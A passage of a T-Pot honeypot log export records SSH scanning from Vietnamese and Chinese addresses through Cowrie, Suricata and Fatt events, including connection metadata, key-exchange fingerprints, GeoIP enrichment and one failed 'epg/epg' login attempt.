"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27174	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:32.33695+03	2021-09-20 14:15:14.232645+03	{"_id": "CQbpAnwBvYTbRNuEQCVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 549671740881396, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49458, "dest_port": 22, "timestamp": "2021-09-20T11:13:32.336950Z", "@timestamp": "2021-09-20T11:13:32.336Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
41648	192.168.20.105	109.199.241.180	Suricata	2021-09-20 16:07:01.331786+03	2021-09-20 16:15:03.189748+03	{"_id": "KwZRA3wBvYTbRNuEJJAP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.105", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:07:01.331786Z", "@timestamp": "2021-09-20T13:07:01.331Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27175	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:13:33.527886+03	2021-09-20 14:15:14.233644+03	{"_id": "DwbpAnwBvYTbRNuEQiVM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "b3f8040b5c86", "@version": "1", "duration": 4.181199789047241, "timestamp": "2021-09-20T11:13:33.527886Z", "@timestamp": "2021-09-20T11:13:33.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27176	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:33.945036+03	2021-09-20 14:15:14.235644+03	{"_id": "EAbpAnwBvYTbRNuERCVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1458132486002685, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60834, "dest_port": 22, "timestamp": "2021-09-20T11:13:33.945036Z", "@timestamp": "2021-09-20T11:13:33.945Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27177	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:33.94785+03	2021-09-20 14:15:14.236644+03	{"_id": "FAbpAnwBvYTbRNuERSWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60834, "timestamp": "2021-09-20T11:13:33.947850", "@timestamp": "2021-09-20T11:13:33.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27178	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:34.281663+03	2021-09-20 14:15:14.237645+03	{"_id": "KAbpAnwBvYTbRNuESCU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 56671772413625, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 32986, "dest_port": 22, "timestamp": "2021-09-20T11:13:34.281663Z", "@timestamp": "2021-09-20T11:13:34.281Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27179	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:35.12495+03	2021-09-20 14:15:14.238645+03	{"_id": "KwbpAnwBvYTbRNuESSVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7247, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.124950", "@timestamp": "2021-09-20T11:13:35.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27180	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.351192+03	2021-09-20 14:15:14.239646+03	{"_id": "LAbpAnwBvYTbRNuESiUe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45028 (192.168.176.2:22) [session: f2738451f43a]", "session": "f2738451f43a", "@version": "1", "protocol": "ssh", "src_port": 45028, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.351192Z", "@timestamp": "2021-09-20T11:13:35.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27181	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.112454+03	2021-09-20 14:15:14.240646+03	{"_id": "LQbpAnwBvYTbRNuESiUe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "11525fb6ded7", "@version": "1", "timestamp": "2021-09-20T11:13:35.112454Z", "@timestamp": "2021-09-20T11:13:35.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27182	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.441482+03	2021-09-20 14:15:14.242644+03	{"_id": "LgbpAnwBvYTbRNuESiUe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f2738451f43a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:35.441482Z", "@timestamp": "2021-09-20T11:13:35.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27183	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:35.125203+03	2021-09-20 14:15:14.243645+03	{"_id": "MgbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0f9ae09f884d", "@version": "1", "timestamp": "2021-09-20T11:13:35.125203Z", "@timestamp": "2021-09-20T11:13:35.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27184	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.644823+03	2021-09-20 14:15:14.245645+03	{"_id": "NQbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [epg/epg] failed", "session": "90eba1df5dca", "@version": "1", "password": "epg", "username": "epg", "timestamp": "2021-09-20T11:13:35.644823Z", "@timestamp": "2021-09-20T11:13:35.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
